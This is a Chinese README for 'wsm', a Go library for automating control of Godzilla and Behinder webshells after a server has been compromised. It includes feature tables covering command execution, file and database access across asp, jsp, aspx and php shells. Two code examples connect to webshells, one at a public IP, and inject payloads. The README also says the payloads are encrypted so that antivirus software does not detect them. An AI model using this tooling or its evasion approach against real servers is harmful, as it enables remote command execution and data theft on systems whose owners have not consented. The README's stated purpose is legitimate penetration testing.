有时候不希望 PoC/Exp 止步于 getshell,还想着自动化进行某些操作,因此有了这个库。通过 wsm 直接管理您的哥斯拉和冰蝎 webshell
脚本类型 | 支持的加密类型 | 功能支持 |
---|---|---|
asp | XOR_BS6、XOR_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |
jsp、jspx | AES_BS64、AES_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |
aspx | AES_BS64、AES_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |
php | XOR_BS6、XOR_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |
脚本类型 | 支持的加密类型 | 功能支持 |
---|---|---|
asp | XOR | 存活验证、基本信息、命令执行、文件、数据库操作 |
jsp、jspx | AES | 存活验证、基本信息、命令执行、文件、数据库操作 |
aspx | AES | 存活验证、基本信息、命令执行、文件、数据库操作 |
php | XOR、AES | 存活验证、基本信息、命令执行、文件、数据库操作 |
package main
import (
"fmt"
"github.com/xiecat/wsm"
"github.com/xiecat/wsm/lib/shell"
"github.com/xiecat/wsm/lib/shell/behinder"
"log"
)
func main() {
info := &wsm.BehinderInfo{
BaseShell: wsm.BaseShell{
Url: "http://127.0.0.1:8080/bx.jsp",
Password: "rebeyond",
Script: shell.JavaScript,
Proxy: "http://127.0.0.1:9999",
Headers: nil,
}}
bx, err := wsm.NewBehinder(info)
if err != nil {
log.Println(err)
}
// 验证存活
i, err := bx.Ping()
if err != nil {
log.Println(err)
}
fmt.Println(i)
}
package main
import (
"fmt"
"github.com/xiecat/wsm"
"github.com/xiecat/wsm/lib/charset"
"github.com/xiecat/wsm/lib/shell"
"github.com/xiecat/wsm/lib/shell/godzilla"
"log"
)
func main() {
info := &wsm.GodzillaInfo{
BaseShell: wsm.BaseShell{
Url: "http://139.196.175.86:8080/bs64.jsp",
Password: "pass",
Script: shell.JavaScript,
Proxy: "http://127.0.0.1:9999",
},
Key: "key",
Crypto: godzilla.JAVA_AES_BASE64,
Encoding: charset.UTF8CharSet,
}
g, err := wsm.NewGodzillaInfo(info)
if err != nil {
log.Println(err)
}
// 注入全部的 payload
err = g.InjectPayload()
if err != nil {
log.Println(err)
}
isAlive, err := g.Ping()
if err != nil {
log.Println(err)
}
fmt.Println(isAlive)
}
更多例子可以查看 examples
支持流量解密
payloads 通过静态资源的方式使用,同时对原始的 payload文件进行了 gzip 压缩后再 aes 加密,这样做是为了拉取该库时,不被杀软报毒
本库仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。